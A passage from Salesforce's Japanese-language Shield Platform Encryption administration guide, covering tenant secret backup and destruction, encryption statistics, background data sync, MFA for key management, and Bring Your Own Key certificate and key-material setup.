ば、Salesfoce のデータのテナントの秘密は有効を 1 件、アーカイブを 49 件使用でき、Analytics テナント
の秘密も同じ数を使用できます。この制限には、Salesforce が生成した鍵素材と、顧客が指定した鍵素
材が含まれます。
制限に達した場合、別の鍵を再度有効化、再度アーカイブ、またはコールアウトを作成するには、既
存の鍵を破棄します。鍵を破棄する前に、有効な鍵で暗号化するデータを同期します。

5. 有効な鍵素材を使用して項目値を再度暗号化する場合は、新規および既存の暗号化データを最新の鍵のも
とで同期します。[設定] の [暗号化統計およびデータ同期] ページからデータを同期できます。

警告: クリーンで一貫性のある結果を得るために、Salesforce カスタマーサポートにデータの再度有効
化を依頼することをお勧めします。既存のレコードへの有効な鍵素材の適用は、[設定] で編集するか、
API を介してプログラムで行うことができます。レコードを編集すると、暗号化サービスがトリガさ
れ、最新の鍵素材を使用して既存のデータが再度暗号化されます。この更新によりレコードのタイム
スタンプが変更され、項目履歴またはフィード履歴に更新が記録されます。ただし、[履歴] 関連リス
トとフィード履歴の項目履歴は、新しい鍵素材で再度暗号化されません。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点

テナントの秘密のバックアップ

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密および顧
客が指定した鍵素材を生
成、破棄、エクスポー
ト、インポート、アップ
ロード、設定する
• 「暗号化鍵の管理」

Shield Platform Encryption テナントの秘密は、組織およびテナントの秘密を適用す
る特定のデータに対して一意です。テナントの秘密をエクスポートして、関連
データに引き続きアクセスできるようにすることをお勧めします。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[鍵の管理] を選択します。
2. 鍵が表示されているテーブルで、バックアップするテナントの秘密を見つけ

ます。[エクスポート] をクリックします。
3. 警告ボックスで選択内容を確認し、エクスポートされたファイルを保存しま

す。
ファイル名は tenant-secret-org-<組織 ID>-ver-<テナントの秘密のバー
ジョン番号>.txt です。たとえば、
「tenant-secret-org-00DD00000007eTR-ver-1.txt」などです。

4. エクスポートする特定のバージョンを確認し、エクスポートされたファイル
に意味のある名前を付けます。ファイルを安全な場所に保存し、必要に応じ
て組織にインポートし直すことができるようにします。

メモ: エクスポートされたテナントの秘密はそれ自体が暗号化されてい
ます。

エクスポートされた鍵素材は、組織の鍵素材のコピーです。エクスポートされ
たテナントの鍵をインポートするには、最初に組織のオリジナルを破棄します。
「テナントの秘密の破棄」 (ページ 159)を参照してください。
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メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点

暗号化カバー率に関する統計情報の取得
[暗号化統計] ページには、Shield Platform Encryption で暗号化されたすべてのデータの概要が表示されます。この
情報は、鍵の循環および管理作業を掌握するのに役立ちます。暗号化統計を使用して、鍵素材の循環後に更新
するオブジェクトと項目を識別することもできます。

アドオンサブスクリプションとして使用可能なエディション: Enterprise Edition、Performance Edition、および
Unlimited Edition。Salesforce Shield の購入が必要です。Summer '15 以降に作成された Developer Edition 組織は無料
で使用できます。

Salesforce Classic および Lightning Experience の両方で使用できます。

このセクションの内容:

暗号化統計の収集
[暗号化統計およびデータ同期] ページには、データのうち、Shield Platform Encryption で暗号化されている量
と、有効な鍵素材で暗号化されている量が表示されます。この情報を使用して、鍵の循環のアクションと
タイムラインに関する情報を把握できます。[暗号化統計] ページを使用して、バックグラウンド暗号化サー
ビスと同期する必要がある項目とオブジェクトに関する情報を収集することもできます。
暗号化統計の解釈と使用
[暗号化統計] ページでは、暗号化データのスナップショットを把握できます。この情報を使用して、暗号
化データの管理について情報に基づいた意思決定ができます。
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暗号化統計の収集

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

プラットフォームの暗号
化の [設定] ページを表示
する
• 「設定・定義の参照」

および

「アプリケーションの
カスタマイズ」

[暗号化統計およびデータ同期] ページには、データのうち、Shield Platform Encryption

で暗号化されている量と、有効な鍵素材で暗号化されている量が表示されます。
この情報を使用して、鍵の循環のアクションとタイムラインに関する情報を把
握できます。[暗号化統計] ページを使用して、バックグラウンド暗号化サービス
と同期する必要がある項目とオブジェクトに関する情報を収集することもでき
ます。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[暗号化統計] を選択します。
2. 左ペインからオブジェクト種別またはカスタムオブジェクトを選択します。

[暗号化されたデータ] または [有効な鍵を使用] 列に「--」が表示されている場
合、そのオブジェクトに関する統計はまだ収集されていません。

3. [統計を収集] をクリックします。
オブジェクトに含まれるデータ量に応じて、収集プロセスにかかる時間は異なります。収集プロセスが完
了するとメールで通知されます。統計が収集されると、ページには、各オブジェクトのデータに関して更
新された情報が表示されます。項目履歴およびフィード追跡の暗号化が有効になっている場合は、暗号化
された項目履歴およびフィード追跡の変更に関する統計も表示されます。
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メモ:

• 統計は 24 時間ごとに 1 回、[統計を収集] をクリックするか、セルフサービスバックグラウンド暗号化
サービスを実行して収集できます。

• フィード項目はフィード投稿から派生するため、フィード項目には統計は表示されません。フィード
投稿の統計を収集することで、フィード投稿とフィード項目の両方の暗号化状況を確認できます。

暗号化統計の解釈と使用
[暗号化統計] ページでは、暗号化データのスナップショットを把握できます。この情報を使用して、暗号化
データの管理について情報に基づいた意思決定ができます。

アドオンサブスクリプションとして使用可能なエディション: Enterprise Edition、Performance Edition、および
Unlimited Edition。Salesforce Shield の購入が必要です。Summer '15 以降に作成された Developer Edition 組織は無料
で使用できます。

Salesforce Classic および Lightning Experience の両方で使用できます。

このページには、暗号化データについてサマリービューと詳細ビューという 2 つのビューがあります。

暗号化のサマリービュー
暗号化のサマリービューには、暗号化されたデータを含むすべてのオブジェクトとそれらのオブジェクト内の
暗号化されたデータに関する統計が表示されます。

• オブジェクト — 標準オブジェクトとカスタムオブジェクトがリストされます。標準オブジェクトに関する
データは、特定種別のすべての標準オブジェクトに対して集計されます。カスタムオブジェクトに関する
データは、カスタムオブジェクトごとにリストされます。

• 暗号化されたデータ — オブジェクトのデータのうち、暗号化されている割合。上記の例では、取引先オブ
ジェクトの全データの 50% が暗号化されています。

• 有効な鍵を使用 — そのオブジェクトまたはオブジェクト種別のデータのうち、有効な鍵素材で暗号化され
ているデータの割合。

• 同期が必要 — バックグラウンド暗号化サービスでデータを同期するかどうかを提案します。項目に対する
暗号化の追加または無効化、項目の暗号化スキームの変更、または鍵素材の循環を行うと、この列に「は
い」と表示されます。
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[暗号化されたデータ] 列と [有効な鍵を使用] 列の数値が等しく、[同期が必要] 列が [いいえ] の場合、すべての
暗号化データが同期されます。上記の例では、ケースオブジェクトが同期されます。
オブジェクトの [暗号化されたデータ] 列と [有効な鍵を使用] 列の数値が等しい場合に、[同期が必要] 列が [は
い] になることがあります。この値の組み合わせは、最後に統計を収集したか、データを保存してから暗号化
ポリシー設定または鍵が変更された場合に発生します。この組み合わせは、新しく暗号化されたデータの統計
が収集されたが、オブジェクトが一度も同期されていない場合にも発生します。上記の例では、取引先、取引
先責任者、リード、および商談オブジェクトがこれらの条件の 1 つ以上を満たしています。
二重ダッシュ (--) は、そのオブジェクトまたはオブジェクト種別に対する統計がまだ収集されていないことを
示します。上記の例では、商談および添付ファイルオブジェクトの統計は収集されていません。

暗号化の詳細ビュー
暗号化の詳細ビューには、各オブジェクトカテゴリに保存されている項目と履歴データの統計が表示されま
す。項目履歴およびフィード追跡の暗号化が有効になっている場合は、暗号化された項目履歴およびフィード
追跡の変更に関する統計データも表示されます。
項目

[項目] タブには、各オブジェクトの項目データに関するデータが表示されます。
• 項目 — そのオブジェクトで、データが含まれているすべての暗号化可能な標準項目とカスタム項目。

メモ: すべての項目データが同じ項目に保存され、そのデータが UI に表示されるわけではありませ
ん。たとえば一部の [個人取引先] 項目データは対応する [取引先責任者] 項目に保存されます。[個
人取引先] は有効になっているが、[取引先責任者] 詳細ビューに暗号化された項目が表示されない
場合は、取引先責任者オブジェクトの統計をそこで収集して確認します。
同様に Chatter データは、フィード添付、フィードコメント、フィードのアンケート選択肢、フィー
ド投稿、およびフィードリビジョンオブジェクトに保存されます。[暗号化統計] ページには、デー
タベースに暗号化された Chatter データが保持されている、これらのオブジェクトとすべての項目
がリストされます。[暗号化統計] ページにリストされた項目の中には、同じ名前では UI に表示され
ないものもありますが、UI に表示されるすべての暗号化データが保存されています。暗号化される
Chatter 項目のリストについては、Salesforce ヘルプの「暗号化できる標準項目とデータ要素は?」 (ペー
ジ 102)を参照してください。

• API 参照名 — データが含まれている項目の API 参照名。
• 暗号化されたレコード — 特定種別のすべてのオブジェクトで、ある項目種別に保存されている暗号化

された値の数。たとえば、取引先オブジェクトを選択すると、[取引先名] の横にある [暗号化されたレ
コード] 列に「9」が表示されるとします。これはつまり、すべての [取引先名] 項目のうち、暗号化され
たレコードが 9 件あるということです。

• 暗号化されていないレコード — ある項目種別に保存されているプレーンテキスト値の数。
• テナントの秘密の混在状況 — ある項目種別の暗号化データに、有効なテナントの秘密とアーカイブさ

れたテナントの秘密のどちらが適用されているかを示します。
• スキームが混在しています — ある項目種別の暗号化データに、確定的と確率的のどちらの暗号化スキー

ムが適用されているかを示します。
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メモ: 次は、暗号化されたレコードと暗号化されていないレコードの両方にあてはまります。
• 項目のレコード数には NULL 値または空白値は含まれません。NULL 値または空白値がある項目には、

実際のレコード数とは異なる (少ない) レコード数が表示される場合があります。
• Contact.Name や Contact.Address のような複合項目のレコード数には、実際のレコード数とは異なる

(多い) レコード数が表示される場合があります。この数には、各レコードに対して計数される 2 つ
以上の項目が含まれています。

履歴
[履歴] タブには、項目履歴とフィード追跡の変更に関するデータが表示されます。
• 項目 — そのオブジェクトで、データが含まれているすべての暗号化可能な標準項目とカスタム項目。
• API 参照名 — データが含まれている項目の API 参照名。
• 暗号化された項目履歴 — 特定種別のすべてのオブジェクトにある項目種別の暗号化された項目履歴の

値の数。たとえば、取引先オブジェクトを選択し、[取引先名] の [暗号化された項目履歴] 列に「2」が表
示されている場合、[取引先名] には 2 つの暗号化された項目履歴の値が含まれていることになります。

• 暗号化されていない項目履歴 — ある項目に保存されているプレーンテキスト項目履歴の値の数。
• 暗号化されたフィード追跡 — ある項目に保存されている暗号化されたフィード追跡の値の数。
• 暗号化されていないフィード追跡 — ある項目に保存されているプレーンテキストフィード追跡の値の

数。

使用のベストプラクティス
これらの統計を使用して、主要な管理作業について情報に基づいた意思決定を下すことができます。
• 暗号化ポリシーを更新する — 暗号化統計の詳細ビューには、オブジェクトのどの項目に暗号化データが含

まれるかが表示されます。この情報を使用して、暗号化ポリシーが組織の暗号化戦略に一致しているか定
期的に評価できます。

• 鍵を循環する — すべてのデータを有効な鍵素材で暗号化しなければならない場合があります。ページの左
側にある暗号化サマリーペインを確認します。[有効な鍵を使用] の値が [暗号化されたデータ] の値よりも小
さい場合、アーカイブされた鍵素材を使用しているデータがあります。データを同期するには、[同期] ボ
タンをクリックするか、Salesforce カスタマーサポートにお問い合わせください。

• データを同期する — 鍵の循環は、暗号化戦略の重要な部分です。鍵素材を循環すると、既存のデータに対
して有効な鍵素材の適用が必要になることがあります。有効な鍵でデータを同期するには、[同期] ボタン
をクリックします。
セルフサービスバックグラウンド暗号化を使用できない場合、[有効な鍵を使用] 列と [テナントの秘密の混
在状況] 列を確認して、アーカイブされた鍵で暗号化されているデータが含まれる項目を特定します。これ
らのオブジェクトと項目をメモし、Salesforce カスタマーサポートに連絡してバックグラウンド暗号化サー
ビスを依頼してください。Salesforce カスタマーサポートでは、それらの同期が必要なオブジェクトと項目
のみに絞り、バックグラウンド暗号化プロセスをできるだけ短時間で完了することができます。
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バックグラウンド暗号化サービスによるデータ暗号化の同期
暗号化ポリシーは定期的に変更します。または、鍵を循環します。Shield Platform Encryption を使用して、暗号化
戦略から最大限の保護を実現するには、最新の暗号化ポリシーおよび鍵を使用して、暗号化された新規および
既存のデータを同期します。これは自分で行うことも、Salesforce に支援を依頼することもできます。
変更が発生した場合、暗号化ポリシーを最新の状態に維持するためのオプションがあります。[設定] の [暗号
化統計およびデータ同期] ページからほとんどの標準項目とカスタム項目のデータを自分で同期できます。そ
の他すべてのデータについては、データが最新の暗号化ポリシーとテナントの秘密に適合するように Salesforce

が支援できます。

データが自動的に暗号化される場合とされない場合
• 特定の項目やその他のデータの暗号化を有効にすると、新しく作成および編集されたデータは自動的に最

新の鍵を使用して暗号化されます。
• 組織の既存のデータは、自動的には暗号化されません。Salesforce のバックグラウンド暗号化サービスでは、

要求に応じてこれに対処します。
• 鍵の循環戦略の一環としてテナントの秘密を変更すると、すでに暗号化されているデータは古いテナント

の秘密で暗号化された状態のままになります。Salesforce のバックグラウンド暗号化サービスでは、要求に
応じてこうしたデータを更新できます。また、古いアーカイブされた鍵を破棄しない限り、いつでもデー
タにアクセスできるため、心配はいりません。

• 暗号化をオフにすると、既存のデータは関連する鍵に基づいて自動的に復号化されます。データの暗号化
によって影響を受ける機能はすべて復元されます。

• Salesforce が新しい鍵によるデータの再暗号化をサポートする場合、破棄された鍵で暗号化されていたデー
タはスキップされます。破棄された鍵で暗号化されたデータにアクセスするには、破棄された鍵のバック
アップをインポートします。

メモ: 注意: データ暗号化の同期は、レコードの LastModifiedDate または LastModifiedById タイムスタンプに影
響を与えません。トリガ、入力規則、ワークフロールール、またはその他の自動サービスを実行するこ
とはありません。ただし、SystemModStamp は変更されます。

自分で同期できるデータ
暗号化されたデータの大部分は、[設定] の [暗号化統計] ページから自分で同期できます。セルフサービスバッ
クグラウンド暗号化では、次のものが同期されます。
• 標準項目およびカスタム項目
• [添付ファイル — コンテンツ本文] 項目
• [項目履歴およびフィード追跡の値を暗号化] 設定がオンのときの項目履歴およびフィード追跡の変更
セルフサービスバックグラウンド暗号化 (ページ158)とその考慮事項 (ページ198)についての詳細は、Salesforce ヘ
ルプを参照してください。

Salesforce カスタマーサポートによるバックグラウンド暗号化サービスを依頼する方法
データを自分で同期できない場合は、Salesforce カスタマーサポートに問い合わせて、支援を依頼してくださ
い。データの同期に関して支援を依頼するときは、次のヒントに留意してください。
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完了までの時間を見込む
バックグラウンド暗号化サービスを完了する必要がある日の 2 ～ 3 営業日前に Salesforce サポートにお問い
合わせください。プロセスを完了するまでの時間は、データの量によって異なります。数日かかる場合も
あります。

データを指定する
暗号化または再暗号化するオブジェクト、項目名、およびデータ要素のリストを提供します。

リストを確認する
[設定] でこのリストが暗号化対象と一致することを確認します。
• [暗号化ポリシー] ページで選択されているデータ要素
• [標準項目を暗号化] ページで選択されている標準項目
• [項目定義] ページで暗号化対象として選択されているカスタム項目

ヒント: また、項目値の長さが暗号化できる範囲内であることも確認します。

ファイルと添付ファイルを含めるかどうか
ファイルと添付ファイルの場合、すべて暗号化するか、一切暗号化しないかしか選べません。個別に指定
する必要はありません。

履歴およびフィードデータを含めるかどうか
対応する項目履歴およびフィードデータを暗号化するかどうかを指定します。

時間を選択する
Salesforce カスタマーサポートは、バックグラウンド暗号化サービスをお客様のタイムゾーンの月曜日～金
曜日、午前 6 時～午後 5 時の間に実行できます。

ヒント: どのデータがすでに暗号化されているか不明な場合は、暗号化したすべての項目の記録が保持さ
れている [暗号化統計] ページにアクセスします。

鍵を破棄した場合はどうすればよいでしょうか?

鍵が破棄された場合、データを自動的に復号化することはできません。このデータを処理するためのオプショ
ンがいくつかあります。
• 破棄された鍵をバックアップから再インポートし、暗号化ポリシーを使用してデータを同期するように

Salesforce カスタマーサポートに依頼します。
• 破棄された鍵で暗号化されたデータをすべて削除してから、データを同期するように Salesforce カスタマー

サポートに依頼します。
• 破棄された鍵で暗号化されたデータすべてを「?????」で一括上書きするように Salesforce サポートに依頼し

ます。

メモ: 破棄された素材で暗号化したデータの暗号化を無効にするときは、次の点に留意してください。
• 破棄された鍵で暗号化されたファイルに対する暗号化を無効にしても、ファイルが自動的に削除され

ることはありません。ファイルの削除は Salesforce サポートに依頼できます。
• 破棄した鍵で暗号化された項目の暗号化を無効にする場合、自動暗号化解除プロセスに要する時間は

長くなります。このプロセスが完了すると、Salesforce からメールで通知されます。
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このセクションの内容:

セルフサービスバックグラウンド暗号化によるデータの同期
データを有効な鍵素材と同期すると、暗号化ポリシーが最新の状態に維持されます。[設定] の [暗号化統計
およびデータ同期] ページから、標準項目およびカスタム項目のデータ、[添付ファイル — コンテンツ本文]

項目のデータ、および項目履歴およびフィード追跡の場合は変更のデータを同期できます。その他すべて
の暗号化データを同期する場合は、Salesforce カスタマーサポートにお問い合わせください。

セルフサービスバックグラウンド暗号化によるデータの同期

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

プラットフォームの暗号
化の [設定] ページを表示
する
• 「設定・定義を参照す

る」

データを有効な鍵素材と同期すると、暗号化ポリシーが最新の状態に維持され
ます。[設定] の [暗号化統計およびデータ同期] ページから、標準項目およびカス
タム項目のデータ、[添付ファイル — コンテンツ本文] 項目のデータ、および項
目履歴およびフィード追跡の場合は変更のデータを同期できます。その他すべ
ての暗号化データを同期する場合は、Salesforce カスタマーサポートにお問い合
わせください。
セルフサービスバックグラウンド暗号化では、すべての標準項目とカスタム項
目、[添付ファイル — コンテンツ本文] 項目、項目履歴およびフィード追跡の変
更がサポートされます。その他の暗号化データの同期でサポートが必要な場合
は、Salesforce カスタマーサポートにお問い合わせください。
セルフサービスバックグラウンド暗号化プロセスに項目履歴とフィード追跡の
値を含めるには、まず [高度な設定] ページで [項目履歴およびフィード追跡の値
を暗号化] をオンにします。項目履歴およびフィード追跡の暗号化は、
PlatformEncryptionSettings メタデータ型を使用してプログラムで有効にすることも
できます。この設定がオンになると、セルフサービス暗号化プロセスが有効な
鍵素材を項目履歴とフィード追跡の値に適用します。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[暗号化統計] を選択します。
2. 左ペインからオブジェクト種別またはカスタムオブジェクトを選択します。

メモ:  [同期が必要] 列は、データを同期する必要があるかどうかを示し
ます。項目に対する暗号化の追加または無効化、鍵素材の循環、または
項目の暗号化スキームの変更を行うと、この列に「はい」と表示されま
す。

3. [同期] をクリックします。
サポートされる標準項目とカスタム項目は、有効な鍵素材と暗号化ポリシーを使用してバックグラウンド
で暗号化されます。このサービスは、データを同期した後、そのオブジェクトの統計を収集します。収集
された統計を表示するには、確認メールが届くまで待ってから、[暗号化統計およびデータ同期] ページを
更新します。
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メモ: オブジェクトに含まれるデータ量に応じて、同期プロセスにかかる時間は異なります。同期プロセ
スが完了すると、メールで通知されます。[暗号化統計およびデータ同期] ページから 7 日間に 1 回データ
を同期できます。
[添付ファイル — コンテンツ本文] 項目に多数のデータがある場合、同期プロセスを実行すると、要求が
複数のバッチに分割され、順々に同期されます。ただし、これらのすべてのバッチを 1 度に暗号化できな
い場合があります。これは、Salesforce が機能ネットワークの負荷を管理するのに役立つサービス保護で
す。同期プロセスが完了したが、暗号化統計の状況が完了率 100% 未満の場合は、[同期] を再びクリック
します。バックグラウンド暗号化サービスにより、中断した場所から再開されます。

鍵素材を破棄

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密および顧
客が指定した鍵素材を生
成、破棄、エクスポー
ト、インポート、アップ
ロード、設定する
• 「暗号化鍵の管理」

Shield Platform Encryption テナントの秘密と鍵素材の破棄は、関連データにアクセ
スする必要がなくなったという極端な場合にのみ行います。鍵素材は、組織お
よび鍵素材が適用される特定のデータに固有です。鍵素材を破棄すると、以前
にエクスポートした鍵素材をインポートしない限り、関連データにアクセスで
きなくなります。
データおよび鍵素材をバックアップして、安全な場所に保存する責任はお客様
が単独で負うものとします。Salesforce では、テナントの秘密および鍵の削除、
破棄、置き忘れが発生してもサポートできません。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[鍵の管理] を選択します。
2. テナントの秘密が表示されているテーブルで、破棄する秘密を含む行を見つ

けます。[破棄] をクリックします。
3. 警告ボックスが表示されます。表示されているとおりテキストを入力し、テ

ナントの秘密を破棄していることを確認するチェックボックスをオンにし
て、[廃棄] をクリックします。
コンテンツの暗号化に使用した鍵を破棄すると、ファイルのプレビューおよ
びユーザのブラウザですでにキャッシュされたコンテンツが、引き続きクリ
アテキストで表示されることがあります。ユーザが再度ログインしたとき
に、キャッシュされたコンテンツは削除されます。
本番組織から Sandbox 組織を作成し、その後 Sandbox 組織でテナントの秘密を
破棄しても、本番組織にはテナントの秘密が存在し続けます。

4. テナントの秘密をインポートするには、[インポート] > [ファイルを選択] を
クリックして、ファイルを選択します。テナントの秘密の正しいバージョン
をインポートしていることを確認します。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点
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鍵管理での多要素認証の義務付け

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

鍵管理タスクに ID 検証を
割り当てる
• 「暗号化鍵の管理」

多要素認証 (MFA) はデータとリソースへのアクセスをセキュリティ保護するため
の強力なツールです。鍵素材と証明書の生成、循環、アップロードなどの Shield

Platform Encryption の鍵の管理タスクに、多要素認証を義務付けられるようになり
ました。

重要: 必ず、セキュリティ管理者に時間ベースのワンタイムパスワードを
取得する手段を提供します。このパスワードは (Salesforce ユーザ名とパス
ワードに加えて) 2 番目の認証要素となります。そうしないと暗号化鍵関連
のタスクを実行できません。

1. [設定] の [クイック検索] ボックスに「ID 検証」と入力し、[ID 検証] を選択し
ます。

2. [暗号化鍵の管理] ドロップダウンから [セッションを高保証に上げる] を選択
します。
「暗号化鍵の管理」権限を持つすべてのシステム管理者は、[設定] および API

を使用して鍵管理タスクを実行するために追加の検証方法を使用する必要があります。
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Bring Your Own Key (BYOK)

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密および顧
客が指定した鍵素材を生
成、破棄、エクスポー
ト、インポート、アップ
ロードする
• 「暗号化鍵の管理」

Shield Platform Encryption
Bring Your Own Key サービ
スでの HSM により保護さ
れた証明書を編集、アッ
プロード、およびダウン
ロードする
• 「暗号化鍵の管理」

および

「証明書の管理」

および

「アプリケーションの
カスタマイズ」

独自のテナントの秘密を使用すると、Salesforce Shield Platform Encryption の利点を得
られるだけでなく、テナントの秘密を専用に管理することによって高保証を実
現できます。
独自のテナントの秘密を制御するには、Salesforce カスタマーサポートに連絡し
て Bring Your Own Keys を有効にし、BYOK 互換の証明書を生成し、その証明書を使
用して自分で生成したテナントの秘密を暗号化および保護し、Salesforce Shield

Platform Encryption 鍵管理マシンにテナントの秘密へのアクセス権を付与します。

このセクションの内容:

1. Bring Your Own Key の概要
はい。独自の暗号ライブラリ、エンタープライズ鍵管理システム、または
ハードウェアセキュリティモジュール (HSM) を使用して、Salesforce の外部に
顧客が提供した鍵素材を生成して保存できます。その後、Salesforce Shield Platform

Encryption 鍵管理マシンにそれらの鍵へのアクセス権を付与します。自己署名
証明書または CA 署名証明書のどちらの公開鍵を使用して鍵を暗号化するか
を選択できます。

2. BYOK 互換の証明書の生成
Bring Your Own Key (BYOK) 鍵素材で Salesforce のデータを暗号化するには、Salesforce

を使用して 4096 ビットの RSA 証明書を生成します。自己署名証明書または証
明機関 (CA) 署名証明書を生成できます。各 BYOK 互換の証明書の非公開鍵は、
派生した組織固有のテナントの秘密鍵で暗号化されます。

3. BYOK 鍵素材の生成とラッピング
BYOK テナントの秘密として乱数を生成します。次に、その秘密の SHA256 ハッ
シュを計算し、生成した BYOK 互換の証明書からの公開鍵を使用して暗号化
します。

4. BYOK のテナントの秘密を生成するためのサンプルスクリプト
テナントの秘密のアップロード準備に役立つヘルパースクリプトが用意され
ています。このスクリプトは、テナントの秘密として乱数を生成し、秘密の
SHA256 ハッシュを計算し、証明書からの公開鍵を使用して秘密を暗号化しま
す。

5. BYOK テナントの秘密のアップロード
BYOK 互換のテナントの秘密が生成されたら、Salesforce にアップロードしま
す。Shield 鍵管理サービス (KMS) では、テナントの秘密を使用して組織固有の
データ暗号化鍵を派生させます。

6. BYOK を使用した鍵派生の除外
Shield Platform Encryption でデータ暗号化鍵を派生させない場合は、鍵派生を除外し、独自に最終的なデータ
暗号化鍵をアップロードできます。鍵派生を除外すると、データの暗号化と復号化に使用される鍵素材を、
さらに細かく制御できます。
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7. BYOK 鍵の適切な管理
Salesforce 外で独自の鍵素材を作成および保存する場合は、その鍵素材を保護することが重要です。鍵素材
をアーカイブするための信頼できる場所を確保し、テナントの秘密やデータ暗号化鍵をバックアップなし
でハードドライブに保存しないようにします。

8. Bring Your Own Key のトラブルシューティング
次に紹介するよくある質問を、Shield Platform Encryption の Bring Your Own Key サービスで問題が発生した場合の
トラブルシューティングに役立ててください。

Bring Your Own Key の概要

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

はい。独自の暗号ライブラリ、エンタープライズ鍵管理システム、またはハー
ドウェアセキュリティモジュール (HSM) を使用して、Salesforce の外部に顧客が提
供した鍵素材を生成して保存できます。その後、Salesforce Shield Platform Encryption

鍵管理マシンにそれらの鍵へのアクセス権を付与します。自己署名証明書また
は CA 署名証明書のどちらの公開鍵を使用して鍵を暗号化するかを選択できま
す。
鍵管理マシンを使用するには、顧客が提供した鍵素材が次の仕様を満たしてい
る必要があります。
• 256 ビットサイズ
• ダウンロードされた BYOK 証明書から抽出された公開 RSA 鍵を使用して暗号化

され、OAEP パディングを使用してパディングされている
• 一旦暗号化されると、標準の base64 でエンコードされる必要がある
暗号化鍵を使用するには、「暗号化鍵の管理」権限が必要です。BYOK 互換の証
明書を生成するには、「アプリケーションのカスタマイズ」権限が必要です。
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BYOK 互換の証明書の生成

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密および顧
客が指定した鍵素材を生
成、破棄、エクスポー
ト、インポート、アップ
ロード、設定する
• 「暗号化鍵の管理」

Shield Platform Encryption
Bring Your Own Key サービ
スでの HSM により保護さ
れた証明書を編集、アッ
プロード、およびダウン
ロードする
• 「証明書の管理」

および

「アプリケーションの
カスタマイズ」

および

「暗号化鍵の管理」

Bring Your Own Key (BYOK) 鍵素材で Salesforce のデータを暗号化するには、Salesforce

を使用して 4096 ビットの RSA 証明書を生成します。自己署名証明書または証明
機関 (CA) 署名証明書を生成できます。各 BYOK 互換の証明書の非公開鍵は、派生
した組織固有のテナントの秘密鍵で暗号化されます。
自己署名証明書を生成するには、次の手順を実行します。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[鍵の管理] を選択します。
2. [Bring Your Own Key] をクリックします。
3. [自己署名証明書の作成] をクリックします。
4. [表示ラベル] 項目に証明書の一意の名前を入力します。[表示ラベル] 項目に

入力する値に基づいて、[一意の名前] 項目には自動的に名前が割り当てられ
ます。
[エクスポート可能な非公開鍵] (1)、[鍵サイズ] (2)、および [プラットフォーム
の暗号化の使用] (3) 設定は事前に設定されています。これらの設定により、
自己署名証明書に Salesforce Shield Platform Encryption と互換性があることが保証
されます。

5. [証明書と鍵の詳細] ページが表示されたら、[証明書のダウンロード]をクリッ
クします。
自己署名証明書と CA 署名証明書のどちらが適しているかわからない場合は、
組織のセキュリティポリシーを確認します。各オプションの意味の詳細につ
いては、Salesforce ヘルプの「証明書と鍵」を参照してください。
CA 署名証明書を作成するには、Salesforce ヘルプの「認証機関によって署名さ
れた証明書の生成」の手順に従います。証明書を BYOK 互換にするために、
手動で [エクスポート可能な非公開鍵]、[鍵サイズ]、および [プラットフォー
ムの暗号化] の設定を変更してください。
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BYOK 鍵素材の生成とラッピング

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

Shield Platform Encryption
Bring Your Own Key サービ
スでの HSM により保護さ
れた証明書を編集、アッ
プロード、およびダウン
ロードする
• 「証明書の管理」

および

「アプリケーションの
カスタマイズ」

および

暗号化鍵の管理

BYOK テナントの秘密として乱数を生成します。次に、その秘密の SHA256 ハッ
シュを計算し、生成した BYOK 互換の証明書からの公開鍵を使用して暗号化しま
す。
1. 選択した方法を使用して 256 ビットのテナントの秘密を生成します。

テナントの秘密は、次の 2 つの方法のいずれかで生成できます。
• Bouncy Castle または OpenSSL などのオープンソースライブラリを使用し、

